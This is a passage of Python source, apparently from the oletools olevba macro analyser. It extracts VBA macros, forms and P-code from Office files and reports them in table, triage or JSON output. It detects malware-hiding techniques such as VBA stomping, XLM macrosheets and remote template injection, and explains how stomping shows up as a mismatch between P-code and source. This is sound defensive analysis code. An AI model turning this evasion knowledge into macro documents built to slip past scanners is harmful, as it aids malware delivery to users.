IOCs in it if self.detect_vba_stomping(): vba_code = '' for line in self.pcodedmp_output.splitlines(): vba_code += "' " + line + '\n' yield ('VBA P-code', 'VBA P-code', 'VBA_P-code.txt', vba_code) def extract_all_macros(self): """ Extract and decompress source code for each VBA macro found in the file by calling extract_macros(), store the results as a list of tuples (filename, stream_path, vba_filename, vba_code) in self.modules. See extract_macros for details. :returns: list of tuples (filename, stream_path, vba_filename, vba_code) """ if self.modules is None: self.modules = [] for (subfilename, stream_path, vba_filename, vba_code) in self.extract_macros(): self.modules.append((subfilename, stream_path, vba_filename, vba_code)) self.nb_macros = len(self.modules) return self.modules def get_vba_code_all_modules(self): """ Extract the VBA macro source code from all modules, and return it as a single string (str) with all modules concatenated. If an exception is triggered when decompressing a VBA module, it will not be included. The error is logged but the exception is not raised further. :return: str """ vba_code_all_modules = '' for (_, _, _, vba_code) in self.extract_all_macros(): if not isinstance(vba_code, str): log.error('VBA code returned by extract_all_macros is not a string') else: vba_code_all_modules += vba_code + '\n' return vba_code_all_modules def analyze_macros(self, show_decoded_strings=False, deobfuscate=False): """ runs extract_macros and analyze the source code of all VBA macros found in the file. All results are stored in self.analysis_results. If called more than once, simply returns the previous results. """ if self.detect_vba_macros(): # if the analysis was already done, avoid doing it twice: if self.analysis_results is not None: return self.analysis_results # variable to merge source code from all modules: if self.vba_code_all_modules is None: self.vba_code_all_modules = self.get_vba_code_all_modules() for (_, _, form_string) in self.extract_form_strings(): self.vba_code_all_modules += form_string + '\n' # Analyze the whole code at once: scanner = VBA_Scanner(self.vba_code_all_modules) self.analysis_results = scanner.scan(show_decoded_strings, deobfuscate) if self.detect_vba_stomping(): log.debug('adding VBA stomping to suspicious keywords') keyword = 'VBA Stomping' description = 'VBA Stomping was detected: the VBA source code and P-code are different, '\ 'this may have been used to hide malicious code' scanner.suspicious_keywords.append((keyword, description)) scanner.results.append(('Suspicious', keyword, description)) if self.xlm_macrosheet_found: log.debug('adding XLM macrosheet found to suspicious keywords') keyword = 'XLM macrosheet' description = 'XLM macrosheet found. It could contain malicious code' scanner.suspicious_keywords.append((keyword, description)) scanner.results.append(('Suspicious', keyword, description)) if self.template_injection_found: log.debug('adding Template Injection to suspicious keywords') keyword = 'Template Injection' description = 'Template injection found. A malicious template could have been uploaded ' \ 'from a remote location' scanner.suspicious_keywords.append((keyword, description)) scanner.results.append(('Suspicious', keyword, description)) autoexec, suspicious, iocs, hexstrings, base64strings, dridex, vbastrings = scanner.scan_summary() self.nb_autoexec += autoexec self.nb_suspicious += suspicious self.nb_iocs += iocs self.nb_hexstrings += hexstrings self.nb_base64strings += base64strings self.nb_dridexstrings += dridex self.nb_vbastrings += vbastrings return self.analysis_results def reveal(self): # we only want printable strings: analysis = self.analyze_macros(show_decoded_strings=False) # to avoid replacing short strings contained into longer strings, we sort the analysis results # based on the length of the encoded string, in reverse order: analysis = sorted(analysis, key=lambda type_decoded_encoded: len(type_decoded_encoded[2]), reverse=True) # normally now self.vba_code_all_modules contains source code from all modules # Need to collapse long lines: deobf_code = vba_collapse_long_lines(self.vba_code_all_modules) deobf_code = filter_vba(deobf_code) for kw_type, decoded, encoded in analysis: if kw_type == 'VBA string': #print '%3d occurences: %r => %r' % (deobf_code.count(encoded), encoded, decoded) # need to add double quotes around the decoded strings # after escaping double-quotes as double-double-quotes for VBA: decoded = decoded.replace('"', '""') decoded = '"%s"' % decoded # if the encoded string is enclosed in parentheses, # keep them in the decoded version: if encoded.startswith('(') and encoded.endswith(')'): decoded = '(%s)' % decoded deobf_code = deobf_code.replace(encoded, decoded) # # TODO: there is a bug somewhere which creates double returns '\r\r' # deobf_code = deobf_code.replace('\r\r', '\r') return deobf_code #TODO: repasser l'analyse plusieurs fois si des chaines hex ou base64 sont revelees def find_vba_forms(self): """ Finds all the VBA forms stored in an OLE file. Return None if the file is not OLE but OpenXML. Return a list of tuples (vba_root, project_path, dir_path) for each VBA project. vba_root is the path of the root OLE storage containing the VBA project, including a trailing slash unless it is the root of the OLE file. project_path is the path of the OLE stream named "PROJECT" within the VBA project. dir_path is the path of the OLE stream named "VBA/dir" within the VBA project. If this function returns an empty list for one of the supported formats (i.e. Word, Excel, Powerpoint), then the file does not contain VBA forms. :return: None if OpenXML file, list of tuples (vba_root, project_path, dir_path) for each VBA project found if OLE file """ log.debug('VBA_Parser.find_vba_forms') # if the file is not OLE but OpenXML, return None: if self.ole_file is None and self.type != TYPE_PPT: return None # if this method has already been called, return previous result: # if self.vba_projects is not None: # return self.vba_projects # According to MS-OFORMS section 2.1.2 Control Streams: # - A parent control, that is, a control that can contain embedded controls, # MUST be persisted as a storage that contains multiple streams. # - All parent controls MUST contain a FormControl. The FormControl # properties are persisted to a stream (1) as specified in section 2.1.1.2. # The name of this stream (1) MUST be "f". # - Embedded controls that cannot themselves contain other embedded # controls are persisted sequentially as FormEmbeddedActiveXControls # to a stream (1) contained in the same storage as the parent control. # The name of this stream (1) MUST be "o". # - all names are case-insensitive if self.type == TYPE_PPT: # TODO: so far, this function is never called for PPT files, but # if that happens, the information is lost which ole file contains # which storage! ole_files = self.ole_subfiles log.warning('Returned info is not complete for PPT types!') else: ole_files = [self.ole_file, ] # start with an empty list: self.vba_forms = [] # Loop over ole streams for ole in ole_files: # Look for any storage containing those storage/streams: for storage in ole.listdir(streams=False, storages=True): log.debug('Checking storage %r' % storage) # Look for two streams named 'o' and 'f': o_stream = storage + ['o'] f_stream = storage + ['f'] log.debug('Checking if streams %r and %r exist' % (f_stream, o_stream)) if ole.exists(o_stream) and ole.get_type(o_stream) == olefile.STGTY_STREAM \ and ole.exists(f_stream) and ole.get_type(f_stream) == olefile.STGTY_STREAM: form_path = '/'.join(storage) log.debug('Found VBA Form: %r' % form_path) self.vba_forms.append(storage) return self.vba_forms def extract_form_strings(self): """ Extract printable strings from each VBA Form found in the file Iterator: yields (filename, stream_path, form_string) for each printable string found in forms If the file is OLE, filename is the path of the file. If the file is OpenXML, filename is the path of the OLE subfile containing VBA macros within the zip archive, e.g. word/vbaProject.bin. If the file is PPT, result is as for OpenXML but filename is useless Note: form_string is a raw bytes string on Python 2, a unicode str on Python 3 """ if self.ole_file is None: # This may be either an OpenXML/PPT or a text file: if self.type == TYPE_TEXT: # This is a text file, return no results: return else: # OpenXML/PPT: recursively yield results from each OLE subfile: for ole_subfile in self.ole_subfiles: for results in ole_subfile.extract_form_strings(): yield results else: # This is an OLE file: self.find_vba_forms() ole = self.ole_file for form_storage in self.vba_forms: o_stream = form_storage + ['o'] log.debug('Opening form object stream %r' % '/'.join(o_stream)) form_data = ole.openstream(o_stream).read() # Extract printable strings from the form object stream "o": for m in re_printable_string.finditer(form_data): log.debug('Printable string found in form: %r' % m.group()) # On Python 3, convert bytes string to unicode str: if PYTHON2: found_str = m.group() else: found_str = m.group().decode('utf8', errors='replace') if found_str != 'Tahoma': yield (self.filename, '/'.join(o_stream), found_str) def extract_form_strings_extended(self): if self.ole_file is None: # This may be either an OpenXML/PPT or a text file: if self.type == TYPE_TEXT: # This is a text file, return no results: return else: # OpenXML/PPT: recursively yield results from each OLE subfile: for ole_subfile in self.ole_subfiles: for results in ole_subfile.extract_form_strings_extended(): yield results else: # This is an OLE file: self.find_vba_forms() ole = self.ole_file for form_storage in self.vba_forms: for variable in oleform.extract_OleFormVariables(ole, form_storage): yield (self.filename, '/'.join(form_storage), variable) def extract_pcode(self): """ Extract and disassemble the VBA P-code, using pcodedmp :return: VBA P-code disassembly :rtype: str """ # Text and SLK files cannot be stomped: if self.type in (TYPE_SLK, TYPE_TEXT): self.pcodedmp_output = '' return '' # only run it once: if self.disable_pcode: self.pcodedmp_output = '' return '' if self.pcodedmp_output is None: log.debug('Calling pcodedmp to extract and disassemble the VBA P-code') # import pcodedmp here to avoid circular imports: try: from pcodedmp import pcodedmp except Exception as e: # This may happen with Pypy, because pcodedmp imports win_unicode_console... # TODO: this is a workaround, we just ignore P-code # TODO: here we just use log.info, because the word "error" in the output makes some of the tests fail... log.info('Exception when importing pcodedmp: {}'.format(e)) self.pcodedmp_output = '' return '' # logging is disabled after importing pcodedmp, need to re-enable it # This is because pcodedmp imports olevba again :-/ # TODO: here it works only if logging was enabled, need to change pcodedmp! enable_logging() # pcodedmp prints all its output to sys.stdout, so we need to capture it so that # we can process the results later on. # save sys.stdout, then modify it to capture pcodedmp's output: # stdout = sys.stdout if PYTHON2: # on Python 2, console output is bytes output = BytesIO() else: # on Python 3, console output is unicode output = StringIO() # sys.stdout = output # we need to fake an argparser for those two args used by pcodedmp: class args: disasmOnly = True verbose = False try: # TODO: handle files in memory too log.debug('before pcodedmp') # TODO: we just ignore pcodedmp errors stderr = sys.stderr sys.stderr = output pcodedmp.processFile(self.filename, args, output_file=output) sys.stderr = stderr log.debug('after pcodedmp') except Exception as e: # print('Error while running pcodedmp: {}'.format(e), file=sys.stderr, flush=True) # set sys.stdout back to its original value # sys.stdout = stdout log.exception('Error while running pcodedmp') # finally: # # set sys.stdout back to its original value # sys.stdout = stdout self.pcodedmp_output = output.getvalue() # print(self.pcodedmp_output) # log.debug(self.pcodedmp_output) return self.pcodedmp_output def detect_vba_stomping(self): """ Detect VBA stomping, by comparing the keywords present in the P-code and in the VBA source code. :return: True if VBA stomping detected, False otherwise :rtype: bool """ log.debug('detect_vba_stomping') # only run it once: if self.vba_stomping_detected is not None: return self.vba_stomping_detected # Text and SLK files cannot be stomped: if self.type in (TYPE_SLK, TYPE_TEXT): self.vba_stomping_detected = False return False # TODO: Files in memory cannot be analysed with pcodedmp yet if not self.file_on_disk: log.warning('For now, VBA stomping cannot be detected for files in memory') self.vba_stomping_detected = False return False # only run it once: if self.vba_stomping_detected is None: log.debug('Analysing the P-code to detect VBA stomping') self.extract_pcode() # print('pcodedmp OK') log.debug('pcodedmp OK') # process the output to extract keywords, to detect VBA stomping keywords = set() for line in self.pcodedmp_output.splitlines(): if line.startswith('\t'): log.debug('P-code: ' + line.strip()) tokens = line.split(None, 1) mnemonic = tokens[0] args = '' if len(tokens) == 2: args = tokens[1].strip() # log.debug(repr([mnemonic, args])) # if mnemonic in ('VarDefn',): # # just add the rest of the line # keywords.add(args) # if mnemonic == 'FuncDefn': # # function definition: just strip parentheses # funcdefn = args.strip('()') # keywords.add(funcdefn) if mnemonic in ('ArgsCall', 'ArgsLd', 'St', 'Ld', 'MemSt', 'Label'): # sometimes ArgsCall is followed by "(Call)", if so we remove it (issue #489) if args.startswith('(Call) '): args = args[7:] # add 1st argument: name = args.split(None, 1)[0] # sometimes pcodedmp reports names like "id_FFFF", which are not # directly present in the VBA source code # (for example "Me" in VBA appears as id_FFFF in P-code) if not name.startswith('id_'): keywords.add(name) if mnemonic == 'LitStr': # re_string = re.compile(r'\"([^\"]|\"\")*\"') # for match in re_string.finditer(line): # print('\t' + match.group()) # the string is the 2nd argument: s = args.split(None, 1)[1] # tricky issue: when a string contains double quotes inside, # pcodedmp returns a single ", whereas in the VBA source code # it is always a double "". # We have to remove the " around the strings, then double the remaining ", # and put back the " around: if len(s)>=2: assert(s[0]=='"' and s[-1]=='"') s = s[1:-1] s = s.replace('"', '""') s = '"' + s + '"' keywords.add(s) log.debug('Keywords extracted from P-code: ' + repr(sorted(keywords))) self.vba_stomping_detected = False # get all VBA code as one string vba_code_all_modules = self.get_vba_code_all_modules() for keyword in keywords: if keyword not in vba_code_all_modules: log.debug('Keyword {!r} not found in VBA code'.format(keyword)) log.debug('VBA STOMPING DETECTED!') self.vba_stomping_detected = True break if not self.vba_stomping_detected: log.debug('No VBA stomping detected.') return self.vba_stomping_detected def close(self): """ Close all the open files. This method must be called after usage, if the application is opening many files. """ if self.ole_file is None: if self.ole_subfiles is not None: for ole_subfile in self.ole_subfiles: ole_subfile.close() else: self.ole_file.close() class VBA_Parser_CLI(VBA_Parser): """ VBA parser and analyzer, adding methods for the command line interface of olevba. (see VBA_Parser) """ def __init__(self, *args, **kwargs): """ Constructor for VBA_Parser_CLI. Calls __init__ from VBA_Parser with all arguments --> see doc there """ super(VBA_Parser_CLI, self).__init__(*args, **kwargs) def run_analysis(self, show_decoded_strings=False, deobfuscate=False): """ Analyze the provided VBA code, without printing the results (yet) All results are stored in self.analysis_results. :param show_decoded_strings: bool, if True hex-encoded strings will be displayed with their decoded content. :param deobfuscate: bool, if True attempt to deobfuscate VBA expressions (slow) :return: None """ # print a waiting message only if the output is not redirected to a file: if sys.stdout.isatty(): print('Analysis...\r', end='') sys.stdout.flush() self.analyze_macros(show_decoded_strings, deobfuscate) def print_analysis(self, show_decoded_strings=False, deobfuscate=False): """ print the analysis results in a table :param show_decoded_strings: bool, if True hex-encoded strings will be displayed with their decoded content. :param deobfuscate: bool, if True attempt to deobfuscate VBA expressions (slow) :return: None """ results = self.analysis_results if results: t = tablestream.TableStream(column_width=(10, 20, 45), header_row=('Type', 'Keyword', 'Description')) COLOR_TYPE = { 'AutoExec': 'yellow', 'Suspicious': 'red', 'IOC': 'cyan', } for kw_type, keyword, description in results: # handle non printable strings: if not is_printable(keyword): keyword = repr(keyword) if not is_printable(description): description = repr(description) color_type = COLOR_TYPE.get(kw_type, None) t.write_row((kw_type, keyword, description), colors=(color_type, None, None)) t.close() if self.vba_stomping_detected: print('VBA Stomping detection is experimental: please report any false positive/negative at https://github.com/decalage2/oletools/issues') else: print('No suspicious keyword or IOC found.') def print_analysis_json(self, show_decoded_strings=False, deobfuscate=False): """ Analyze the provided VBA code, and return the results in json format :param vba_code: str, VBA source code to be analyzed :param show_decoded_strings: bool, if True hex-encoded strings will be displayed with their decoded content. :param deobfuscate: bool, if True attempt to deobfuscate VBA expressions (slow) :return: dict """ # print a waiting message only if the output is not redirected to a file: if sys.stdout.isatty(): print('Analysis...\r', end='') sys.stdout.flush() return [dict(type=kw_type, keyword=keyword, description=description) for kw_type, keyword, description in self.analyze_macros(show_decoded_strings, deobfuscate)] def colorize_keywords(self, vba_code): """ Colorize keywords found during the VBA code analysis :param vba_code: str, VBA code to be colorized :return: str, VBA code including color tags for Colorclass """ results = self.analysis_results if results: COLOR_TYPE = { 'AutoExec': 'yellow', 'Suspicious': 'red', 'IOC': 'cyan', } for kw_type, keyword, description in results: color_type = COLOR_TYPE.get(kw_type, None) if color_type: vba_code = vba_code.replace(keyword, '{auto%s}%s{/%s}' % (color_type, keyword, color_type)) return vba_code def process_file(self, show_decoded_strings=False, display_code=True, hide_attributes=True, vba_code_only=False, show_deobfuscated_code=False, deobfuscate=False, show_pcode=False, no_xlm=False): """ Process a single file :param filename: str, path and filename of file on disk, or within the container. :param data: bytes, content of the file if it is in a container, None if it is a file on disk. :param show_decoded_strings: bool, if True hex-encoded strings will be displayed with their decoded content. :param display_code: bool, if False VBA source code is not displayed (default True) :param global_analysis: bool, if True all modules are merged for a single analysis (default), otherwise each module is analyzed separately (old behaviour) :param hide_attributes: bool, if True the first lines starting with "Attribute VB" are hidden (default) :param deobfuscate: bool, if True attempt to deobfuscate VBA expressions (slow) :param show_pcode bool: if True, call pcodedmp to disassemble P-code and display it :param no_xlm bool: if True, don't use the BIFF plugin to extract old style XLM macros """ #TODO: replace print by writing to a provided output file (sys.stdout by default) # fix conflicting parameters: self.no_xlm = no_xlm if vba_code_only and not display_code: display_code = True if self.container: display_filename = '%s in %s' % (self.filename, self.container) else: display_filename = self.filename print('=' * 79) print('FILE: %s' % display_filename) try: #TODO: handle olefile errors, when an OLE file is malformed print('Type: %s'% self.type) if self.detect_vba_macros(): # run analysis before displaying VBA code, in order to colorize found keywords self.run_analysis(show_decoded_strings=show_decoded_strings, deobfuscate=deobfuscate) #print 'Contains VBA Macros:' for (subfilename, stream_path, vba_filename, vba_code) in self.extract_all_macros(): if hide_attributes: # hide attribute lines: vba_code_filtered = filter_vba(vba_code) else: vba_code_filtered = vba_code print('-' * 79) print('VBA MACRO %s ' % vba_filename) print('in file: %s - OLE stream: %s' % (subfilename, repr(stream_path))) if display_code: print('- ' * 39) # detect empty macros: if vba_code_filtered.strip() == '': print('(empty macro)') else: # check if the VBA code contains special characters such as backspace (issue #358) if '\x08' in vba_code_filtered: log.warning('The VBA code contains special characters such as backspace, that may be used for obfuscation.') if sys.stdout.isatty(): # if the standard output is the console, we'll display colors backspace = colorclass.Color(b'{autored}\\x08{/red}') else: backspace = '\\x08' # replace backspace by "\x08" for display vba_code_filtered = vba_code_filtered.replace('\x08', backspace) try: # Colorize the interesting keywords in the output: # (unless the output is redirected to a file) if sys.stdout.isatty(): vba_code_filtered = colorclass.Color(self.colorize_keywords(vba_code_filtered)) except UnicodeError: # TODO better handling of Unicode log.error('Unicode conversion to be fixed before colorizing the output') print(vba_code_filtered) for (subfilename, stream_path, form_string) in self.extract_form_strings(): if form_string is not None: print('-' * 79) print('VBA FORM STRING IN %r - OLE stream: %r' % (subfilename, stream_path)) print('- ' * 39) print(form_string) try: for (subfilename, stream_path, form_variables) in self.extract_form_strings_extended(): if form_variables is not None: print('-' * 79) print('VBA FORM Variable "%s" IN %r - OLE stream: %r' % (form_variables['name'], subfilename, stream_path)) print('- ' * 39) print(str(form_variables['value'])) except Exception as exc: # display the exception with full stack trace for debugging log.info('Error parsing form: %s' % exc) log.debug('Traceback:', exc_info=True) if show_pcode: print('-' * 79) print('P-CODE disassembly:') pcode = self.extract_pcode() print(pcode) # if self.type == TYPE_SLK: # # TODO: clean up this code # slk_output = self.vba_code_all_modules # try: # # Colorize the interesting keywords in the output: # # (unless the output is redirected to a file) # if sys.stdout.isatty(): # slk_output = colorclass.Color(self.colorize_keywords(slk_output)) # except UnicodeError: # # TODO better handling of Unicode # log.debug('Unicode conversion to be fixed before colorizing the output') # print(slk_output) if not vba_code_only: # analyse the code from all modules at once: self.print_analysis(show_decoded_strings, deobfuscate) if show_deobfuscated_code: print('MACRO SOURCE CODE WITH DEOBFUSCATED VBA STRINGS (EXPERIMENTAL):\n\n') print(self.reveal()) else: print('No VBA macros found.') except OlevbaBaseException: raise except Exception as exc: # display the exception with full stack trace for debugging log.info('Error processing file %s (%s)' % (self.filename, exc)) traceback.print_exc() log.debug('Traceback:', exc_info=True) raise ProcessingError(self.filename, exc) print('') def process_file_json(self, show_decoded_strings=False, display_code=True, hide_attributes=True, vba_code_only=False, show_deobfuscated_code=False, deobfuscate=False, show_pcode=False, no_xlm=False): """ Process a single file every "show" or "print" here is to be translated as "add to json" :param filename: str, path and filename of file on disk, or within the container. :param data: bytes, content of the file if it is in a container, None if it is a file on disk. :param show_decoded_strings: bool, if True hex-encoded strings will be displayed with their decoded content. :param display_code: bool, if False VBA source code is not displayed (default True) :param global_analysis: bool, if True all modules are merged for a single analysis (default), otherwise each module is analyzed separately (old behaviour) :param hide_attributes: bool, if True the first lines starting with "Attribute VB" are hidden (default) :param show_deobfuscated_code: bool, if True add deobfuscated code to result :param deobfuscate: bool, if True attempt to deobfuscate VBA expressions (slow) :param show_pcode: bool, if True add extracted pcode to result """ #TODO: fix conflicting parameters (?) self.no_xlm = no_xlm if vba_code_only and not display_code: display_code = True result = {} if self.container: result['container'] = self.container else: result['container'] = None result['file'] = self.filename result['json_conversion_successful'] = False result['analysis'] = None result['code_deobfuscated'] = None result['do_deobfuscate'] = deobfuscate result['show_pcode'] = show_pcode try: #TODO: handle olefile errors, when an OLE file is malformed result['type'] = self.type macros = [] if self.detect_vba_macros(): for (subfilename, stream_path, vba_filename, vba_code) in self.extract_all_macros(): curr_macro = {} if hide_attributes: # hide attribute lines: vba_code_filtered = filter_vba(vba_code) else: vba_code_filtered = vba_code curr_macro['vba_filename'] = vba_filename curr_macro['subfilename'] = subfilename curr_macro['ole_stream'] = stream_path if display_code: curr_macro['code'] = vba_code_filtered.strip() else: curr_macro['code'] = None macros.append(curr_macro) if not vba_code_only: # analyse the code from all modules at once: result['analysis'] = self.print_analysis_json(show_decoded_strings, deobfuscate) if show_deobfuscated_code: result['code_deobfuscated'] = self.reveal() if show_pcode: result['pcode'] = self.extract_pcode() result['macros'] = macros result['json_conversion_successful'] = True except Exception as exc: # display the exception with full stack trace for debugging log.info('Error processing file %s (%s)' % (self.filename, exc)) log.debug('Traceback:', exc_info=True) raise ProcessingError(self.filename, exc) return result def process_file_triage(self, show_decoded_strings=False, deobfuscate=False, no_xlm=False): """ Process a file in triage mode, showing only summary results on one line. """ #TODO: replace print by writing to a provided output file (sys.stdout by default) try: #TODO: handle olefile errors, when an OLE file is malformed if self.detect_vba_macros(): # print a waiting message only if the output is not redirected to a file: if sys.stdout.isatty(): print('Analysis...\r', end='') sys.stdout.flush() self.analyze_macros(show_decoded_strings=show_decoded_strings, deobfuscate=deobfuscate) flags = TYPE2TAG[self.type] macros = autoexec = suspicious = iocs = hexstrings = base64obf = dridex = vba_obf = '-' if self.contains_macros: macros = 'M' if self.nb_autoexec: autoexec = 'A' if self.nb_suspicious: suspicious = 'S' if self.nb_iocs: iocs = 'I' if self.nb_hexstrings: hexstrings = 'H' if self.nb_base64strings: base64obf = 'B' if self.nb_dridexstrings: dridex = 'D' if self.nb_vbastrings: vba_obf = 'V' flags += '%s%s%s%s%s%s%s%s' % (macros, autoexec, suspicious, iocs, hexstrings, base64obf, dridex, vba_obf) line = '%-12s %s' % (flags, self.filename) print(line) except Exception as exc: # display the exception with full stack trace for debugging only log.debug('Error processing file %s (%s)' % (self.filename, exc), exc_info=True) raise ProcessingError(self.filename, exc) #=== MAIN ===================================================================== def parse_args(cmd_line_args=None): """ parse command line arguments (given ones or per default sys.argv) """ DEFAULT_LOG_LEVEL = "warning" # Default log level LOG_LEVELS = { 'debug': logging.DEBUG, 'info': logging.INFO, 'warning': logging.WARNING, 'error': logging.ERROR, 'critical': logging.CRITICAL } usage = 'usage: olevba [options] <filename> [filename2 ...]' parser = argparse.ArgumentParser(usage=usage) parser.add_argument('filenames', nargs='*', help='Files to analyze') # parser.add_argument('-o', '--outfile', dest='outfile', # help='output file') # parser.add_argument('-c', '--csv', dest='csv', # help='export results to a CSV file') parser.add_argument("-r", action="store_true", dest="recursive", help='find files recursively in subdirectories.') parser.add_argument("-z", "--zip", dest='zip_password', type=str, default=None, help='if the file is a zip archive, open all files ' 'from it, using the provided password.') parser.add_argument("-p", "--password", type=str, action='append', default=[], help='if encrypted office files are encountered, try ' 'decryption with this password. May be repeated.') parser.add_argument("-f", "--zipfname", dest='zip_fname', type=str, default='*', help='if the file is a zip archive, file(s) to be ' 'opened within the zip. Wildcards * and ? are ' 'supported. (default: %(default)s)') modes = parser.add_argument_group(title='Output mode (mutually exclusive)') modes.add_argument("-t", '--triage', action="store_const", dest="output_mode", const='triage', default='unspecified', help='triage mode, display results as a summary table ' '(default for multiple files)') modes.add_argument("-d", '--detailed', action="store_const", dest="output_mode", const='detailed', default='unspecified', help='detailed mode, display full results (default for ' 'single file)') modes.add_argument("-j", '--json', action="store_const", dest="output_mode", const='json', default='unspecified', help='json mode, detailed in json format ' '(never default)') parser.add_argument("-a", '--analysis', action="store_false", dest="display_code", default=True, help='display only analysis results, not the macro ' 'source code') parser.add_argument("-c", '--code', action="store_true", dest="vba_code_only", default=False, help='display only VBA source code, do not analyze it') parser.add_argument("--decode", action="store_true", dest="show_decoded_strings", help='display all the obfuscated strings with their ' 'decoded content (Hex, Base64, StrReverse, ' 'Dridex, VBA).') parser.add_argument("--attr", action="store_false", dest="hide_attributes", default=True, help='display the attribute lines at the beginning of ' 'VBA source code') parser.add_argument("--reveal", action="store_true", dest="show_deobfuscated_code", help='display the macro source code after replacing ' 'all the obfuscated strings by their decoded ' 'content.') parser.add_argument('-l', '--loglevel', dest="loglevel", action="store", default=DEFAULT_LOG_LEVEL, help='logging level debug/info/warning/error/critical ' '(default=%(default)s)') parser.add_argument('--deobf', dest="deobfuscate", action="store_true", default=False, help="Attempt to deobfuscate VBA expressions (slow)") # TODO: --relaxed is enabled temporarily until a solution to issue #593 is found parser.add_argument('--relaxed', dest="relaxed", action="store_true", default=True, help='Do not raise errors if opening of substream ' 'fails (this option is now deprecated, enabled by default)') parser.add_argument('--show-pcode', dest="show_pcode", action="store_true", default=False, help="Show disassembled P-code (using pcodedmp)") parser.add_argument('--no-pcode', action='store_true', help='Disable extraction and analysis of pcode') parser.add_argument('--no-xlm', dest="no_xlm", action="store_true", default=False, help="Do not extract XLM Excel macros. This may speed up analysis of large files.") options = parser.parse_args(cmd_line_args) # Print help if no arguments are passed if len(options.filenames) == 0: # print banner with version python_version = '%d.%d.%d' % sys.version_info[0:3] print('olevba %s on Python %s - http://decalage.info/python/oletools' % (__version__, python_version)) print(__doc__) parser.print_help() sys.exit(RETURN_WRONG_ARGS) if options.show_pcode and options.no_pcode: parser.error('You cannot combine options --no-pcode and --show-pcode') options.loglevel = LOG_LEVELS[options.loglevel] return options def process_file(filename, data, container, options, crypto_nesting=0): """ Part of main function that processes a single file. This handles exceptions and encryption. Returns a single code summarizing the status of processing of this file """ try: # Open the file vba_parser = VBA_Parser_CLI(filename, data=data, container=container, relaxed=options.relaxed, disable_pcode=options.no_pcode) if options.output_mode == 'detailed': # fully detailed output vba_parser.process_file(show_decoded_strings=options.show_decoded_strings, display_code=options.display_code, hide_attributes=options.hide_attributes, vba_code_only=options.vba_code_only, show_deobfuscated_code=options.show_deobfuscated_code, deobfuscate=options.deobfuscate, show_pcode=options.show_pcode, no_xlm=options.no_xlm) elif options.output_mode == 'triage': # summarized output for triage: vba_parser.process_file_triage(show_decoded_strings=options.show_decoded_strings, deobfuscate=options.deobfuscate, no_xlm=options.no_xlm) elif options.output_mode == 'json': print_json( vba_parser.process_file_json(show_decoded_strings=options.show_decoded_strings, display_code=options.display_code, hide_attributes=options.hide_attributes, vba_code_only=options.vba_code_only, show_deobfuscated_code=options.show_deobfuscated_code, deobfuscate=options.deobfuscate, show_pcode=options.show_pcode, no_xlm=options.no_xlm)) else: # (should be impossible) raise ValueError('unexpected output mode: "{0}"!'.format(options.output_mode)) # even if processing succeeds, file might still be encrypted log.debug('Checking for encryption (normal)') if not crypto.is_encrypted(filename): log.debug('no encryption detected') return RETURN_OK except Exception as exc: log.debug('Checking for encryption (after exception)') if crypto.is_encrypted(filename): pass # deal with this below else: if isinstance(exc, (SubstreamOpenError, UnexpectedDataError)): if options.output_mode in ('triage', 'unspecified'): print('%-12s %s - Error opening substream or uenxpected ' \ 'content' % ('?', filename)) elif options.output_mode == 'json': print_json(file=filename, type='error', error=type(exc).__name__, message=str(exc)) else: log.exception('Error opening substream or unexpected ' 'content in %s' % filename) return RETURN_OPEN_ERROR elif isinstance(exc, FileOpenError): if options.output_mode in ('triage', 'unspecified'): print('%-12s %s - File format not supported' % ('?', filename)) elif options.output_mode == 'json': print_json(file=filename, type='error', error=type(exc).__name__, message=str(exc)) else: log.exception('Failed to open %s -- probably not supported!' % filename) return RETURN_OPEN_ERROR elif isinstance(exc, ProcessingError): if options.output_mode in ('triage', 'unspecified'): print('%-12s %s - %s' % ('!ERROR', filename, exc.orig_exc)) elif options.output_mode == 'json': print_json(file=filename, type='error', error=type(exc).__name__, message=str(exc.orig_exc)) else: log.exception('Error processing file %s (%s)!' % (filename, exc.orig_exc)) return RETURN_PARSE_ERROR else: raise # let caller deal with this # we reach this point only if file is encrypted # check if this is an encrypted file in an encrypted file in an ... if crypto_nesting >= crypto.MAX_NESTING_DEPTH: raise crypto.MaxCryptoNestingReached(crypto_nesting, filename) decrypted_file = None try: log.debug('Checking encryption passwords {}'.format(options.password)) passwords = options.password + crypto.DEFAULT_PASSWORDS decrypted_file = crypto.decrypt(filename, passwords) if not decrypted_file: log.error('Decrypt failed, run with debug output to get details') raise crypto.WrongEncryptionPassword(filename) log.info('Working on decrypted file') return process_file(decrypted_file, data, container or filename, options, crypto_nesting+1) finally: # clean up try: log.debug('Removing crypt temp file {}'.format(decrypted_file)) os.unlink(decrypted_file) except Exception: # e.g. file does not exist or is None pass # no idea what to return now raise Exception('Programming error -- should never have reached this!') def main(cmd_line_args=None): """ Main function, called when olevba is run from the command line Optional argument: command line arguments to be forwarded to ArgumentParser in process_args. Per default (cmd_line_args=None), sys.argv is used. Option mainly added for unit-testing """ options = parse_args(cmd_line_args) # provide info about tool and its version if options.output_mode == 'json': # print first json entry with meta info and opening '[' print_json(script_name='olevba', version=__version__, url='http://decalage.info/python/oletools', type='MetaInformation', _json_is_first=True) else: # print banner with version python_version = '%d.%d.%d' % sys.version_info[0:3] print('olevba %s on Python %s - http://decalage.info/python/oletools' % (__version__, python_version)) logging.basicConfig(level=options.loglevel, format='%(levelname)-8s %(message)s') # enable logging in the modules: enable_logging() # with the option --reveal, make sure --deobf is also enabled: if options.show_deobfuscated_code and not options.deobfuscate: log.debug('set --deobf because --reveal was set') options.deobfuscate = True # gather info on all files that must be processed # ignore directory names stored in zip files: all_input_info = tuple((container, filename, data) for container, filename, data in xglob.iter_files( options.filenames, recursive=options.recursive, zip_password=options.zip_password, zip_fname=options.zip_fname) if not (container and filename.endswith('/'))) # specify output mode if options -t, -d and -j were not specified if options.output_mode == 'unspecified': if len(all_input_info) == 1: options.output_mode = 'detailed' else: options.output_mode = 'triage' if options.output_mode == 'triage': if options.show_deobfuscated_code: log.debug('ignoring option --reveal in triage output mode') if options.show_pcode: log.debug('ignoring option --show-pcode in triage output mode') # Column headers for triage mode if options.output_mode == 'triage': print('%-12s %-65s' % ('Flags', 'Filename')) print('%-12s %-65s' % ('-' * 11, '-' * 65)) previous_container = None count = 0 container = filename = data = None return_code = RETURN_OK try: for container, filename, data in all_input_info: # handle errors from xglob if isinstance(data, Exception): if isinstance(data, PathNotFoundException): if options.output_mode == 'triage': print('%-12s %s - File not found' % ('?', filename)) elif options.output_mode != 'json': log.error('Given path %r does not exist!' % filename) return_code = RETURN_FILE_NOT_FOUND if return_code == 0 \ else RETURN_SEVERAL_ERRS else: if options.output_mode == 'triage': 